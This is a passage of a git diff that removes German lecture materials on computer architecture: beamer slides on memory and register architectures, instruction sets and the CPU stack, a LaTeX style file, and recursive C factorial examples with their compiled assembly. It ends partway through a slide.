Befehlssätze - \end{itemize} - \item[\textbf{4}] \textbf{Der CPU-Stack} - \begin{itemize} - \color{red} - \item[4.1] Implementation - \item[4.2] Unterprogramme - \item[4.3] Register sichern - \end{itemize} - \color{gray} -% \item[\textbf{5}] \textbf{Hardwarenahe Programmierung} -% \item[\textbf{6}] \textbf{Anwender-Software} -% \item[\textbf{7}] \textbf{Bus-Systeme} -% \item[\textbf{8}] \textbf{Pipelining} - \item[\textbf{\dots\hspace{-0.75em}}] -% \item[\textbf{9}] \textbf{Ausblick} - \end{itemize} - -\end{frame} - -\setcounter{section}{1} -\section{Vom Schaltkreis zum Computer} -\setcounter{subsection}{7} -\subsection{Struktur von Assembler-Programmen} - -\begin{frame}[fragile] - - \showsubsection - - Selbstmodifizierender Code - - Beispiel: Selbsterkennung von "`Fini"' - - \begin{minipage}[t]{1.2cm} - \begin{lstlisting}[language={},gobble=6] - num - start - - pos - - \end{lstlisting} - \end{minipage}% - \begin{minipage}[t]{0.9cm} - \begin{lstlisting}[language={},gobble=6] - dat #-2 - mov num, <pos - jmp start - dat - end start - \end{lstlisting} - \end{minipage}\hfill - \begin{minipage}[t]{3.9cm} - \small - \bigskip - Instruktionen:\\[\smallskipamount] - \lstinline{dat B}\\ - \lstinline{mov A, B}\\ - \lstinline{add A, B}\\ - \lstinline{sub A, B}\\ - \lstinline{jmp A}\\ - \lstinline{jmz A, B} -- "`jump if zero"'\\ - \lstinline{jmn A, B} -- "`if not zero"'\\ - \lstinline{djn A, B} -- "`dec. \& jmn"'\\ - \lstinline{cmp A, B} -- vgl.\ \& überspr.\\ - \lstinline{spl A} -- verzweigen - \end{minipage}% - \begin{minipage}[t]{2.7cm} - \small - \bigskip - Adressierungsarten:\\[\medskipamount] - grundsätzlich:\\ - Speicher relativ\\[\medskipamount] - \lstinline{#} -- unmittelbar\\[\smallskipamount] - \lstinline{$} -- direkt\\[\smallskipamount] - \lstinline{@} -- indirekt\\[\smallskipamount] - \lstinline{<} -- indirekt mit\\ - \hspace*{0.52cm}Prä-Decrement - \end{minipage} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \strut - - \strut\makebox(0,0)[bl]{\large\color{structure}\textbf{Ehemaliger Praktikumsversuch (2014)}} - \hfill Inspiration für Projekt? - - \begin{minipage}[t]{5cm} - \medskip - Schreiben Sie ein\\ - Redcode-Programm,\\ - das die Gegner\\ - \file{Nothing}, \file{Knirps}\\ - und \file{Mice} besiegt. - - \medskip - - ICWS-88-Standard,\\ - max.\ 64 Prozesse,\\ - Speichergröße zufällig - - \medskip - - Teams bis zu 3 Personen\\ - sind zulässig. - \end{minipage}\hfill - \begin{minipage}[t]{3.9cm} - \small - \bigskip - Instruktionen:\\[\smallskipamount] - \lstinline{dat B}\\ - \lstinline{mov A, B}\\ - \lstinline{add A, B}\\ - \lstinline{sub A, B}\\ - \lstinline{jmp A}\\ - \lstinline{jmz A, B} -- "`jump if zero"'\\ - \lstinline{jmn A, B} -- "`if not zero"'\\ - \lstinline{djn A, B} -- "`dec. \& jmn"'\\ - \lstinline{cmp A, B} -- vgl.\ \& überspr.\\ - \lstinline{spl A} -- verzweigen - \end{minipage}% - \begin{minipage}[t]{2.7cm} - \small - \bigskip - Adressierungsarten:\\[\medskipamount] - grundsätzlich:\\ - Speicher relativ\\[\medskipamount] - \lstinline{#} -- unmittelbar\\[\smallskipamount] - \lstinline{$} -- direkt\\[\smallskipamount] - \lstinline{@} -- indirekt\\[\smallskipamount] - \lstinline{<} -- indirekt mit\\ - \hspace*{0.52cm}Prä-Decrement - \end{minipage} - -\end{frame} - -\section{Architekturmerkmale von Prozessoren} -\subsection{Speicherarchitekturen} - -\begin{frame} - - \showsection - \showsubsection - - Bezeichnungen - \begin{itemize} - \item - \newterm{Bit\/} = 0 oder 1 -- kleinste Einheit an Information - \item - \newterm{Byte\/} = Zusammenfassung mehrerer \newterm{Bits}\\ - zu einer Binärzahl, die ein Zeichen (\newterm{Character\/}) darstellen kann,\\ - häufig 8 Bits (\newterm{Oktett\/}) - \item - \newterm{Speicherwort\/} = Zusammenfassung mehrerer Bits\\ - zu der kleinsten adressierbaren Einheit, häufig 1 Byte - \item - \newterm{RAM\/} = \newterm{Random Access Memory\/} = Hauptspeicher - \item - \newterm{ROM\/} = \newterm{Read Only Memory\/} = nur lesbarer Speicher - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsubsection - - Verschiedene Arten von Speicher - \begin{itemize} - \item - \newterm{Prozessor-Register}\\ - können direkt mit ALU verbunden werden,\\ - besonders schnell (Flipflops),\\ - überschaubare Anzahl von Registern - \item - \newterm{Hauptspeicher}\\ - kann direkt adressisert und mit Prozessor-Registern abgeglichen werden,\\ - heute i.\,d.\,R.\ dynamischer Speicher (Kondensatoren) - \item - \newterm{I/O-Ports}\\ - sind spezielle Speicheradressen, über die\\ - mit externen Geräten kommuniziert wird - \item - \newterm{Massenspeicher}\\ - liegt auf externem Gerät, wird über I/O-Ports angesprochen,\\ - Festplatte, Flash-Speicher, \dots - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsubsection - - \begin{itemize} - \item - \newterm{Von-Neumann-Architektur}\\ - Es gibt nur 1 Hauptspeicher, in dem sich sowohl die Befehle\\ - als auch die Daten befinden. - - \begin{onlyenv}<1> - Vorteil: Flexibilität in der Speichernutzung - - Nachteil: Befehle können überschrieben werden.\\ - $\longrightarrow$ Abstürze und Malware möglich - \end{onlyenv} - - \pause - \item - \newterm{Harvard-Architektur}\\ - Es gibt 2 Hauptspeicher. In einem befinden sich die Befehle,\\ - im anderen die Daten. - - \begin{onlyenv}<2> - Vorteil: Befehle können nicht überschrieben werden\\ - $\longrightarrow$ sicherer als Von-Neumann-Architektur - - Nachteile: Leitungen zum Speicher (Bus) müssen doppelt vorhanden sein,\\ - freier Befehlsspeicher kann nicht für Daten genutzt werden. - \end{onlyenv} - - \pause - \item - Weitere Kombinationen\\ - Hauptspeicher und I/O-Ports gemeinsam oder getrennt,\\ - Hauptspeicher und Prozessorregister gemeinsam oder getrennt - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsubsection - - Beispiele: - \begin{itemize} - \item - Intel IA-32 (i386, Nachfolger und Kompatible):\\ - Von-Neumann-Architektur (plus Speicherschutzmechanismen),\\ - Prozessorregister und I/O-Ports vom Hauptspeicher getrennt - \item - Atmel AVR (z.\,B.\ ATmega):\\ - Harvard-Architektur (Befehlsspeicher als Flash-Speicher grundsätzlich auch schreibbar),\\ - Prozessorregister und I/O-Ports in gemeinsamem Adressbereich mit Hauptspeicher - \item - 6502 (heute: Renesas-Mikro-Controller):\\ - Von-Neumann-Architektur,\\ - I/O-Ports in gemeinsamem Adressbereich mit Hauptspeicher,\\ - Prozessorregister und Hauptspeicher getrennt - \end{itemize} - -\end{frame} - -\subsection{Registerarchitekturen} - -\begin{frame}[fragile] - - \showsubsection - - \vspace*{-\medskipamount} - - \begin{itemize} - \item - Mehrere Register, einzeln ansprechbar - \item - \newterm{Akkumulator\/}: Nur 1 Register kann rechnen. - \item - \newterm{Stack-Architektur\/}: Stapel, "`umgekehrte Polnische Notation"' - \end{itemize} - - \pause - - Operationen: typischerweise nur - \lstinline{=}, \lstinline{+=}, \lstinline{-=}, \lstinline{*=}, \lstinline{/=}, \dots - - \pause - \medskip - - Beispiel: \lstinline{c = a + 2 * b;} - - \pause - \medskip - - \begin{minipage}[t]{2cm} - C:\smallskip\par - \begin{lstlisting}[gobble=6] - R = b; - R *= 2; - R += a; - c = R; - \end{lstlisting} - \end{minipage}\pause - \begin{minipage}[t]{4cm} - Mehrere Register:\smallskip\par - \begin{lstlisting}[style=asm,gobble=6] - movl (b), %eax - imull $2, %eax, %eax - addl (a), %eax - movl %eax, (c) - \end{lstlisting} - \smallskip\par - (IA-32-Assembler) - \end{minipage}\pause - \begin{minipage}[t]{3cm} - Akkumulator:\smallskip\par - \begin{lstlisting}[style=asm,gobble=6] - load (b) - mul $2 - add (a) - store (c) - \end{lstlisting} - \smallskip\par - (Pseudo-Assembler) - \end{minipage}\pause - \begin{minipage}[t]{3cm} - Register-Stack:\smallskip\par - \begin{lstlisting}[style=asm,gobble=6] - push (a) - push (b) - push $2 - mul - add - pop (c) - \end{lstlisting} - \end{minipage} - -\end{frame} - -\begin{frame} - - \showsubsection - - Beispiele: - \begin{itemize} - \item - Intel IA-32 (i386, Nachfolger und Kompatible):\\ - Mehrere Register, für verschiedene Zwecke spezialisiert (unübersichtlich),\\[\smallskipamount] - Fließkommaregister: Stack-Architektur - \item - Atmel AVR (z.\,B.\ ATmega):\\ - 32 Register - \item - 6502 (heute: Renesas-Mikro-Controller):\\ - 3 Register: A, X, Y. Nur A kann rechnen $\longrightarrow$ Akkumulator - \item - Java Virtual Machine (JVM):\\ - Stack-Architektur - \item - Redcode:\\ - Jede Speicherzelle fungiert als Register - \end{itemize} - -\end{frame} - -\subsection{Befehlssätze} - -\begin{frame} - - \showsubsection - - \begin{itemize} - \item - \newterm{Complex Instruction Set Computer (CISC)} - - \smallskip - - Umfangreiche Befehlssätze, mächtige Befehle - - \begin{onlyenv}<1> - \textarrow\ komfortable manuelle Programmierung in Assembler\\ - \textarrow\ längere Abarbeitungszeit der einzelnen Befehle - - \smallskip - - Realisierung: "`Prozessor im Prozessor"' -- \newterm{Mikroprogramme} - - \smallskip - - Beispiele: IA-32, AMD-64 - \end{onlyenv} - - \medskip - \pause - \item - \newterm{Reduced Instruction Set Computer (RISC)} - - \smallskip - - wenige, wenig mächtige Befehle - - \begin{onlyenv}<2> - \textarrow\ Programmierung in Assembler für Menschen unkomfortabel\\ - \textarrow\ schnelle Abarbeitung der Befehle - - \smallskip - - Beispiele: Atmel AVR, Redcode - \end{onlyenv} - - \pause - \medskip - \item - \newterm{Very Long Instruction Word (VLIW)\/} und\\ - \newterm{Explicitly Parallel Instruction Computing (EPIC)} - - \smallskip - - mehrere Befehle gleichzeitig ausführbar - - \begin{onlyenv}<3> - \textarrow\ mehr Rechenleistung möglich\\ - \textarrow\ Programmierung sehr aufwendig - - \smallskip - - Beispiel: IA-64 - \end{onlyenv} - - \pause - \medskip - \item - \newterm{Orthogonaler Befehlssatz} - - \smallskip - - jeder Befehl mit jeder Adressierungsart kombinierbar - \end{itemize} - -\end{frame} - -\section{Der CPU-Stack\label{CPU-Stack}} -\subsection{Implementation} - -\begin{frame} - - \showsection - \showsubsection - - Speicher, in dem Werte "`gestapelt"' werden: \newterm{Stack} - - \begin{itemize} - \item - Speicherbereich (ein array) reservieren - \item - Variable (typischerweise: Prozessorregister) als - \newterm{Stack Pointer\/} reservieren \textarrow\ \lstinline{SP} - \item - Assembler-Befehl \lstinline[style=asm]{push foo}: \quad - \lstinline{*SP++ = foo;} - \item - Assembler-Befehl \lstinline[style=asm]{pop bar}: \quad - \lstinline{bar = *--SP;} - \end{itemize} - - \pause - \medskip - Speziell: Unterprogramme - -\end{frame} - -\subsection{Unterprogramme} - -\begin{frame}[fragile] - - \showsection - \showsubsection - - \begin{minipage}[t]{4.5cm} - Parameter: - \begin{itemize} - \item - Prozessorregister - \item - CPU-Stack - \end{itemize} - - \smallskip - - Rückgabewert: - \begin{itemize} - \item - Prozessorregister - \end{itemize} - \end{minipage}% - \begin{minipage}[t]{5cm} - Aufruf: - \begin{itemize} - \item - \lstinline[style=asm]{push IP}\\ - \lstinline[style=asm]{jmp foo} - {\color{red}\boldmath $\longleftarrow$ mov \#foo IP}\\ - \textarrow\ \lstinline[style=asm]{call foo} - \end{itemize} - Rücksprung: - \begin{itemize} - \item - \lstinline[style=asm]{pop IP}\\ - \textarrow\ \lstinline[style=asm]{ret} - \end{itemize} - \end{minipage} - -\end{frame} - -\subsection{Register sichern} - -\begin{frame} - - \showsection - \showsubsection - - Ein Unterprogramm verändert Registerinhalte. - \begin{itemize} - \item - im Hauptprogramm nötigenfalls vor Aufruf sichern - \item - im Unterprogramm vor Benutzung sichern - \item - Kombinationen (manche Register so, manche so) - \end{itemize} - -\end{frame} - -\end{document} diff --git a/20210607/fak-r-1.c b/20210607/fak-r-1.c deleted file mode 100644 index 05b2244928a5befeb11e5067cf5af5f1321b4bd7..0000000000000000000000000000000000000000 --- a/20210607/fak-r-1.c +++ /dev/null @@ -1,15 +0,0 @@ -#include <stdio.h> - -int fak (int n) -{ - if (n <= 1) - return 1; - else - return n * fak (n - 1); -} - -int main (void) -{ - printf ("%d! = %d\n", 6, fak (6)); - return 0; -} diff --git a/20210607/fak-r-1.s b/20210607/fak-r-1.s deleted file mode 100644 index ed7a328f3442c0a18fa3bdf026663777743e950a..0000000000000000000000000000000000000000 --- a/20210607/fak-r-1.s +++ /dev/null @@ -1,52 +0,0 @@ - .file "fak-r-1.c" - .text - .globl fak - .type fak, @function -fak: -.LFB11: - .cfi_startproc - movl $1, %eax - cmpl $1, %edi - jg .L8 - ret -.L8: - pushq %rbx - .cfi_def_cfa_offset 16 - .cfi_offset 3, -16 - movl %edi, %ebx - leal -1(%rdi), %edi - call fak - imull %ebx, %eax - popq %rbx - .cfi_def_cfa_offset 8 - ret - .cfi_endproc -.LFE11: - .size fak, .-fak - .section .rodata.str1.1,"aMS",@progbits,1 -.LC0: - .string "%d! = %d\n" - .text - .globl main - .type main, @function -main: -.LFB12: - .cfi_startproc - subq $8, %rsp - .cfi_def_cfa_offset 16 - movl $6, %edi - call fak - movl %eax, %edx - movl $6, %esi - leaq .LC0(%rip), %rdi - movl $0, %eax - call printf@PLT - movl $0, %eax - addq $8, %rsp - .cfi_def_cfa_offset 8 - ret - .cfi_endproc -.LFE12: - .size main, .-main - .ident "GCC: (Debian 8.3.0-6) 8.3.0" - .section .note.GNU-stack,"",@progbits diff --git a/20210607/fak-r-2.c b/20210607/fak-r-2.c deleted file mode 100644 index 38533dc976292ddbbef898afc94bd6d69d697e27..0000000000000000000000000000000000000000 --- a/20210607/fak-r-2.c +++ /dev/null @@ -1,12 +0,0 @@ -#include <stdio.h> - -int fak (int n) -{ - return n * fak (n - 1); -} - -int main (void) -{ - printf ("%d! = %d\n", 6, fak (6)); - return 0; -} diff --git a/20210607/fak-r-3.c b/20210607/fak-r-3.c deleted file mode 100644 index 1b6b3b85e19eda191d6795513e7d30c52563fa63..0000000000000000000000000000000000000000 --- a/20210607/fak-r-3.c +++ /dev/null @@ -1,15 +0,0 @@ -#include <stdio.h> - -int fak (int n) -{ - if (n <= 1) - return 1; - else - return n * fak (n); -} - -int main (void) -{ - printf ("%d! = %d\n", 6, fak (6)); - return 0; -} diff --git a/20210607/logo-hochschule-bochum-cvh-text-v2.pdf b/20210607/logo-hochschule-bochum-cvh-text-v2.pdf deleted file mode 100644 index 3725a72c764b4d9ab200553474e4262161f7a5b5..0000000000000000000000000000000000000000 Binary files a/20210607/logo-hochschule-bochum-cvh-text-v2.pdf and /dev/null differ diff --git a/20210607/logo-hochschule-bochum.pdf b/20210607/logo-hochschule-bochum.pdf deleted file mode 100644 index 8cad73dbb48a2b550bf29355b5a6ec895ce091f8..0000000000000000000000000000000000000000 Binary files a/20210607/logo-hochschule-bochum.pdf and /dev/null differ diff --git a/20210607/pgslides.sty b/20210607/pgslides.sty deleted file mode 100644 index 9a019ce99f03d27a17942facc56fe2145f46b6a6..0000000000000000000000000000000000000000 --- a/20210607/pgslides.sty +++ /dev/null @@ -1,233 +0,0 @@ -% pgslides.sty - LaTeX Settings for Lecture Slides -% Copyright (C) 2012, 2013 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -\usepackage{amsfonts} -\usepackage[british,german]{babel} % Yes, really "german" and not "ngerman". -\usepackage[utf8]{luainputenc} % Without this, umlauts are broken. Weird. -\usepackage{microtype} -\usepackage[T1]{fontenc} -\usepackage{times} -\usepackage{helvet} -\renewcommand*\familydefault{\sfdefault} -\usepackage{graphicx} -\usepackage{pstricks} - -\hypersetup{colorlinks,allcolors=blue} - -%% @@@ Not necessary for slides. Why??? -%% Repair kerning: Automatically insert "\kern{-0.15em}" between "//" % (in URLs). -%\directlua{ -% local glyph = node.id ("glyph") -% local function my_kerning (head) -% for t in node.traverse (head) do -% if t.id == glyph and t.char == 47 then -% if t.next -% and t.next.next -% and t.next.next.id == glyph -% and t.next.next.char == 47 then -% local k = node.new ("kern") -% k.kern = tex.sp ("-0.15em") -% k.next = t.next -% k.prev = t -% t.next.prev = k -% t.next = k -% end -% end -% end -% node.kerning (head) -% end -% luatexbase.add_to_callback ("kerning", my_kerning, "URL kerning") -%} - -\usetheme{default} -\usefonttheme{structurebold} -\setbeamertemplate{navigation symbols}{} -\setbeamersize{text margin left = 0.3cm, text margin right = 0.2cm} -\setbeamertemplate{itemize item}{$\bullet$} -\setbeamertemplate{itemize subitem}{--} -\setbeamerfont{itemize/enumerate subbody}{size=\normalsize} -\setbeamerfont{itemize/enumerate subsubbody}{size=\normalsize} -\setbeamercolor{footline}{fg=gray} - -\newcommand{\sep}{~$\cdot$~} - -\newif\ifminimalistic -\minimalistictrue - -\institute[Hochschule Bochum\sep CVH]{% - \makebox(0,0.005)[tl]{\includegraphics[scale=0.72]{logo-hochschule-bochum-cvh-text-v2.pdf}}\hfill - \makebox(0,0)[tr]{\includegraphics[scale=0.5]{logo-hochschule-bochum.pdf}}% -} - -\setbeamertemplate{headline}{% - \leavevmode - \hbox to \textwidth{% - \ifminimalistic - \strut\hfill - \else - \rule{0pt}{5.7pt}% - \hspace*{8.55pt}\insertinstitute\hspace*{5.7pt}% - \raisebox{-30pt}{\rule{0pt}{1pt}}% - \fi - }% - \vskip0pt% -} - -\iffalse - \setbeamertemplate{footline}{} -\else - \setbeamertemplate{footline}{% - \leavevmode - \hbox to \textwidth{% - \usebeamercolor{footline}% - \usebeamerfont{footline}% - \ifminimalistic - \strut\hfill - \else - \,\insertshorttitle\sep - \insertshortauthor\sep - \insertshortinstitute\sep - \insertshortdate\hfill - \fi - \insertframenumber/\inserttotalframenumber - %Folie\,\insertframenumber\sep Seite\,\insertpagenumber\, - }% - \vskip0pt% - } -\fi - -\newcommand{\maketitleframe}{% - \ifminimalistic - \begin{frame}[t,plain] - \insertinstitute - \par\vfill - \begin{center} - {\LARGE\color{structure}\inserttitle\par}\bigskip\bigskip - {\large \insertauthor\par}\bigskip\medskip - \insertdate - \end{center} - \end{frame} - \else - \begin{frame} - \vfill - \begin{center} - {\LARGE\color{structure}\inserttitle\par}\bigskip\bigskip - {\large \insertauthor\par}\bigskip\medskip - \insertdate - \end{center} - \vfill - \end{frame} - \fi -} - -\definecolor{medgreen}{rgb}{0.0,0.5,0.0} -\definecolor{darkgreen}{rgb}{0.0,0.3,0.0} -\definecolor{lightred}{rgb}{1.0,0.7,0.7} -\definecolor{medred}{rgb}{0.5,0.0,0.0} -\definecolor{bored}{rgb}{0.89,0.0,0.098} -\definecolor{lightgray}{rgb}{0.85,0.85,0.85} -\definecolor{orange}{rgb}{1.0,0.5,0.0} -\definecolor{darkgray}{rgb}{0.4,0.4,0.4} - -\newenvironment{experts}{\color{darkgray}}{} - -\usepackage{listings} -\lstset{basicstyle=\color{structure}, - language=C, - captionpos=b, - gobble=4, - columns=fullflexible, - aboveskip=0pt, - belowskip=0pt, - moredelim=**[is][\color{structure}]{¡}{¿}, - moredelim=**[is][\only<2->{\color{structure}}]{²}{¿}, - moredelim=**[is][\only<3->{\color{structure}}]{³}{¿}, - moredelim=**[is][\only<4->{\color{structure}}]{°}{¿}, - moredelim=**[is][\only<5->{\color{structure}}]{¤}{¿}, - moredelim=**[is][\only<6->{\color{structure}}]{¢}{¿}, - moredelim=**[is][\only<7->{\color{structure}}]{æ}{¿}, - moredelim=**[is][\only<8->{\color{structure}}]{ø}{¿}} -\lstdefinestyle{terminal}{basicstyle=\ttfamily\color{darkgreen}, - language={}, - columns=fixed, - moredelim=**[is][\color{red}]{¡}{¿}, - moredelim=**[is][\color{blendedblue}]{°}{¿}, - moredelim=**[is][\sffamily\it\lstset{columns=fullflexible}]{²}{¿}} -\lstdefinestyle{cmd}{basicstyle=\ttfamily\color{red}, - language={}, - gobble=2, - columns=fixed, - moredelim=**[is][\color{darkgreen}]{¡}{¿}, - moredelim=**[is][\color{structure}]{°}{¿}, - moredelim=**[is][\sffamily\it\lstset{columns=fullflexible}]{²}{¿}} -\lstdefinestyle{shy}{basicstyle=\color{lightgray}} - -\setcounter{topnumber}{3} -\renewcommand\topfraction{0.7} -\setcounter{bottomnumber}{3} -\renewcommand\bottomfraction{0.7} -\setcounter{totalnumber}{5} -\renewcommand\textfraction{0.1} -\renewcommand\floatpagefraction{0.9} - -\setlength{\unitlength}{1cm} - -\newcommand{\protectfile}[1]{#1} -\urlstyle{sf} -\newcommand{\file}[1]{{\color{structure}\protectfile{#1}}} -\newcommand{\textarrow}{{\boldmath $\longrightarrow$}} -\newcommand{\arrowitem}{\item[\textarrow]} -\newcommand{\newterm}[1]{\emph{\color{darkgreen}#1}} -\newcommand{\BIGskip}{\vspace{1cm}} -\newcommand{\shy}{\color{lightgray}} -\newcommand{\hot}{\color{red}} -\newcommand{\shyhot}{\color{lightred}} - -\newcommand{\sectionnonumber}[1]{\section{#1}\addtocounter{section}{-1}} - -\def\showsectionnonumber{\hbox{\Large\color{structure}\bf - \vtop{\secname}\par}\bigskip} - -\newcommand{\nosectionnonumber}[1]{\gdef\nosectionnonumbername{#1}} - -\def\shownosectionnonumber{\hbox{\Large\color{structure}\bf - \vtop{\nosectionnonumbername}\par}\bigskip} - -\def\showsection{\hbox{\Large\color{structure}\bf - \vtop{\hbox{\arabic{section}}}\kern1em% - \vtop{\secname}\par}\bigskip} - -\newcommand{\subsectionnonumber}[1]{\subsection{#1}\addtocounter{subsection}{-1}} - -\def\showsubsectionnonumber{{\large\color{structure}\bf\subsecname\par}\bigskip} - -\def\showsubsection{\hbox{\large\color{structure}\bf - \vtop{\hbox{\arabic{section}.\arabic{subsection}}}\kern1em% - \vtop{\subsecname}\par}\bigskip} - -\newcommand{\subsubsectionnonumber}[1]{\subsubsection{#1}\addtocounter{subsubsection}{-1}} - -\def\showsubsubsectionnonumber{{\normalsize\color{structure}\bf\subsubsecname\par}\bigskip} - -\def\showsubsubsection{\hbox{\normalsize\color{structure}\bf - \vtop{\hbox{\arabic{section}.\arabic{subsection}.\arabic{subsubsection}}}\kern1em% - \vtop{\subsubsecname}\par}\bigskip} diff --git a/20210607/rtech-20210607.pdf b/20210607/rtech-20210607.pdf deleted file mode 100644 index 162b173b22725925eb98338afac97f9f1d15ad3f..0000000000000000000000000000000000000000 Binary files a/20210607/rtech-20210607.pdf and /dev/null differ diff --git a/20210607/rtech-20210607.tex b/20210607/rtech-20210607.tex deleted file mode 100644 index af8429b35780ac4ae7c55daa4b02beaf25d32209..0000000000000000000000000000000000000000 --- a/20210607/rtech-20210607.tex +++ /dev/null @@ -1,534 +0,0 @@ -% rtech-20210607.pdf - Lecture Slides on Computer Technology -% Copyright (C) 2012, 2013, 2014, 2021 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: CPU-Stack, Anwender-Software - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} -\usepackage{rotating} - -\lstdefinestyle{asm}{basicstyle=\color{structure}, - language={}, - gobble=4} - -\title{Rechnertechnik} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{7.\ Juni 2021} - -\begin{document} - -\maketitleframe - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \item[\textbf{2}] \textbf{Vom Schaltkreis zum Computer} - \item[\textbf{3}] \textbf{Architekturmerkmale von Prozessoren} - \item[\textbf{4}] \textbf{Der CPU-Stack} - \begin{itemize} - \color{medgreen} - \item[4.1] Implementation - \item[4.2] Unterprogramme - \item[4.3] Register sichern - \end{itemize} - \color{gray} -% \item[\textbf{5}] \textbf{Hardwarenahe Programmierung} -% \item[\textbf{6}] \textbf{Anwender-Software} -% \item[\textbf{7}] \textbf{Bus-Systeme} -% \item[\textbf{8}] \textbf{Pipelining} - \item[\textbf{\dots\hspace{-0.75em}}] -% \item[\textbf{9}] \textbf{Ausblick} - \end{itemize} - -\end{frame} - -\setcounter{section}{3} -\section{Der CPU-Stack\label{CPU-Stack}} -\subsection{Implementation} - -\begin{frame} - - \showsection - \showsubsection - - Speicher, in dem Werte "`gestapelt"' werden: \newterm{Stack} - - \begin{itemize} - \item - Speicherbereich (ein array) reservieren - \item - Variable (typischerweise: Prozessorregister) als - \newterm{Stack Pointer\/} reservieren \textarrow\ \lstinline{SP} - \item - Assembler-Befehl \lstinline[style=asm]{push foo}: \quad - \lstinline{*SP++ = foo;} - \item - Assembler-Befehl \lstinline[style=asm]{pop bar}: \quad - \lstinline{bar = *--SP;} - \end{itemize} - -% \pause - \medskip - Speziell: Unterprogramme - -\end{frame} - -\subsection{Unterprogramme} - -\begin{frame}[fragile] - - \showsection - \showsubsection - - \begin{minipage}[t]{4.5cm} - Parameter: - \begin{itemize} - \item - Prozessorregister - \item - CPU-Stack - \end{itemize} - - \smallskip - - Rückgabewert: - \begin{itemize} - \item - Prozessorregister - \end{itemize} - \end{minipage}% - \begin{minipage}[t]{5cm} - Aufruf: - \begin{itemize} - \item - \lstinline[style=asm]{push IP}\\ - \lstinline[style=asm]{jmp foo} - {\color{red}\boldmath $\longleftarrow$ mov \#foo IP}\\ - \textarrow\ \lstinline[style=asm]{call foo} - \end{itemize} - Rücksprung: - \begin{itemize} - \item - \lstinline[style=asm]{pop IP}\\ - \textarrow\ \lstinline[style=asm]{ret} - \end{itemize} - \end{minipage} - -\end{frame} - -\subsection{Register sichern} - -\begin{frame} - - \showsection - \showsubsection - - Ein Unterprogramm verändert Registerinhalte. - \begin{itemize} - \item - im Hauptprogramm nötigenfalls vor Aufruf sichern - \item - im Unterprogramm vor Benutzung sichern - \item - Kombinationen (manche Register so, manche so) - \end{itemize} - -\end{frame} - -\section{Anwender-Software} -\subsection{Relokation und Linken} - -\begin{frame}[fragile] - - \showsection - \vspace*{-\smallskipamount} - \showsubsection - - Software im Speicher - - \begin{center} - \setlength{\unitlength}{0.8cm} - \begin{picture}(15,3)(2,-1.25) - \footnotesize - - \put(2,1.0){\line(1,0){15}} - \multiput(2,1)(0.1,0){151}{\line(0,1){0.1}} - \put(2,1.1){\line(1,0){15}} - \put(3.5,1.2){$\overbrace{\rule{10\unitlength}{0pt}}$} - \only<4->{% - \put(3.5,-0.05){\vector(0,1){1}} - \put(2.5,-0.05){\line(1,0){1}} - \put(2.4,-0.05){\makebox(0,0)[r]{\lstinline|CS|}}} - - \put(4.95,0.7){\line(0,1){0.25}} - \put(4.95,0.7){\line(1,0){0.5}} - \put(5.45,0.7){\vector(0,1){0.25}} - \put(6.65,0.7){\line(0,1){0.25}} - \put(6.65,0.7){\line(1,0){0.8}} - \put(7.45,0.7){\vector(0,1){0.25}} - \put(9.55,0.6){\line(0,1){0.35}} - \put(9.55,0.6){\line(-1,0){3.2}} - \put(6.35,0.6){\vector(0,1){0.35}} - \put(7.25,0.4){\makebox(0,0)[t]{Sprünge innerhalb des Programms}} - - \put(8.50,1.55){\makebox(0,0)[b]{Programm}} - \end{picture} - \pause - \begin{picture}(15,3)(0,-1.25) - \footnotesize - - \put(0,1.0){\line(1,0){15}} - \multiput(0,1)(0.1,0){151}{\line(0,1){0.1}} - \put(0,1.1){\line(1,0){15}} - \put(3.5,1.2){$\overbrace{\rule{10\unitlength}{0pt}}$} - \only<4->{% - \put(3.5,-0.05){\vector(0,1){1}} - \put(2.5,-0.05){\line(1,0){1}} - \put(2.4,-0.05){\makebox(0,0)[r]{\lstinline|CS|}}} - - \put(4.95,0.7){\line(0,1){0.25}} - \put(4.95,0.7){\line(1,0){0.5}} - \put(5.45,0.7){\vector(0,1){0.25}} - \put(6.65,0.7){\line(0,1){0.25}} - \put(6.65,0.7){\line(1,0){0.8}} - \put(7.45,0.7){\vector(0,1){0.25}} - \put(9.55,0.6){\line(0,1){0.35}} - \put(9.55,0.6){\line(-1,0){3.2}} - \put(6.35,0.6){\vector(0,1){0.35}} - \put(7.25,0.4){\makebox(0,0)[t]{Sprünge innerhalb des Programms}} - - \put(8.50,1.55){\makebox(0,0)[b]{Programm}} - \end{picture} - \end{center} - \pause - \vspace*{-0.8cm} - Sprünge anpassen: Relokation - - \pause - \smallskip - - Hardware-Unterstützung (z.\,B.\ Intel): Speichersegmentierung - - \lstinline{CS} = Code-Segment: Segment-Register oder Selektor - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - 